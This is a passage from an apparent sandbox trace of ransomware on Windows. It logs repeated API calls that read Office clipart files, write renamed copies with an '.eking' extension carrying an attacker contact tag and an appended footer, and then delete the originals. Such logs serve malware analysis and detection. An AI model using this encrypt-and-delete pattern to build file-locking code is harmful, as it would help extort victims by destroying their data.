Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0270.899] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2024) returned 1 [0270.899] CloseHandle (hObject=0x380) returned 1 [0270.899] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf")) returned 0x220 [0270.899] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf")) returned 0x220 [0270.899] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0270.900] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0270.900] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0270.900] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0270.900] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x398 [0270.902] ReadFile (in: hFile=0x380, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x7e8, lpOverlapped=0x0) returned 1 [0270.903] WriteFile (in: hFile=0x398, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x7f0, lpOverlapped=0x0) returned 1 [0271.197] WriteFile (in: hFile=0x398, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0271.197] CloseHandle (hObject=0x380) returned 1 [0271.197] CloseHandle (hObject=0x398) returned 1 [0271.197] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf")) returned 0 [0271.197] SetEvent (hEvent=0x2b8) returned 1 [0271.198] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0271.199] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=1768) returned 1 [0271.199] CloseHandle (hObject=0x398) returned 1 [0271.199] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf")) returned 0x220 [0271.199] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf")) returned 0x220 [0271.199] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0271.199] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0271.200] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0271.200] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0271.200] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x380 [0271.200] ReadFile (in: hFile=0x398, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x6e8, lpOverlapped=0x0) returned 1 [0271.202] WriteFile (in: hFile=0x380, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x6f0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x6f0, lpOverlapped=0x0) returned 1 [0271.204] WriteFile (in: hFile=0x380, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0271.204] CloseHandle (hObject=0x398) returned 1 [0271.204] CloseHandle (hObject=0x380) returned 1 [0271.205] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf")) returned 0 [0271.205] SetEvent (hEvent=0x2b8) returned 1 [0271.205] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0271.207] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=900) returned 1 [0271.207] CloseHandle (hObject=0x380) returned 1 [0271.207] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf")) returned 0x220 [0271.208] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf")) returned 0x220 [0271.208] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0271.208] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0271.208] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0271.209] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0271.209] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x398 [0271.210] ReadFile (in: hFile=0x380, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x384, lpOverlapped=0x0) returned 1 [0271.212] WriteFile (in: hFile=0x398, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x390, lpOverlapped=0x0) returned 1 [0271.214] WriteFile (in: hFile=0x398, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0271.214] CloseHandle (hObject=0x380) returned 1 [0271.214] CloseHandle (hObject=0x398) returned 1 [0271.214] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf")) returned 0 [0271.215] SetEvent (hEvent=0x2b8) returned 1 [0271.215] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0271.216] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2524) returned 1 [0271.216] CloseHandle (hObject=0x398) returned 1 [0271.216] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf")) returned 0x220 [0271.216] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf")) returned 0x220 [0271.216] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0271.216] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0271.217] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0271.217] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0271.217] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x380 [0271.219] ReadFile (in: hFile=0x398, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x9dc, lpOverlapped=0x0) returned 1 [0271.223] WriteFile (in: hFile=0x380, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x9e0, lpOverlapped=0x0) returned 1 [0271.225] WriteFile (in: hFile=0x380, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0271.225] CloseHandle (hObject=0x398) returned 1 [0271.225] CloseHandle (hObject=0x380) returned 1 [0271.226] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf")) returned 0 [0271.226] SetEvent (hEvent=0x2b8) returned 1 [0271.226] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0271.227] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2324) returned 1 [0271.227] CloseHandle (hObject=0x380) returned 1 [0271.227] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf")) returned 0x220 [0271.227] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf")) returned 0x220 [0271.227] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0271.228] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0271.228] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0271.228] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0271.228] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x398 [0271.229] ReadFile (in: hFile=0x380, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x914, lpOverlapped=0x0) returned 1 [0271.232] WriteFile (in: hFile=0x398, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x920, lpOverlapped=0x0) returned 1 [0271.233] WriteFile (in: hFile=0x398, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0271.234] CloseHandle (hObject=0x380) returned 1 [0271.234] CloseHandle (hObject=0x398) returned 1 [0271.234] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf")) returned 0 [0271.235] SetEvent (hEvent=0x2b8) returned 1 [0271.235] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0271.236] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=19068) returned 1 [0271.236] CloseHandle (hObject=0x398) returned 1 [0271.472] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf")) returned 0x220 [0271.475] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf")) returned 0x220 [0271.511] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0271.512] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0271.513] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0271.513] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0271.513] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x368 [0271.514] ReadFile (in: hFile=0x3b4, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x4a7c, lpOverlapped=0x0) returned 1 [0271.517] WriteFile (in: hFile=0x368, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x4a80, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x4a80, lpOverlapped=0x0) returned 1 [0271.518] WriteFile (in: hFile=0x368, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0271.519] CloseHandle (hObject=0x3b4) returned 1 [0271.519] CloseHandle (hObject=0x368) returned 1 [0271.519] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf")) returned 0 [0271.519] SetEvent (hEvent=0x2b8) returned 1 [0271.520] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0271.522] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2300) returned 1 [0271.522] CloseHandle (hObject=0x368) returned 1 [0271.522] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf")) returned 0x220 [0271.522] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf")) returned 0x220 [0271.523] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0271.523] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0271.523] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0271.523] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0271.524] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3b4 [0271.525] ReadFile (in: hFile=0x368, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x8fc, lpOverlapped=0x0) returned 1 [0271.528] WriteFile (in: hFile=0x3b4, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x900, lpOverlapped=0x0) returned 1 [0271.529] WriteFile (in: hFile=0x3b4, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0271.529] CloseHandle (hObject=0x368) returned 1 [0271.529] CloseHandle (hObject=0x3b4) returned 1 [0271.529] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf")) returned 0 [0271.530] SetEvent (hEvent=0x2b8) returned 1 [0271.530] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0271.531] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=3252) returned 1 [0271.531] CloseHandle (hObject=0x3b4) returned 1 [0271.531] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program 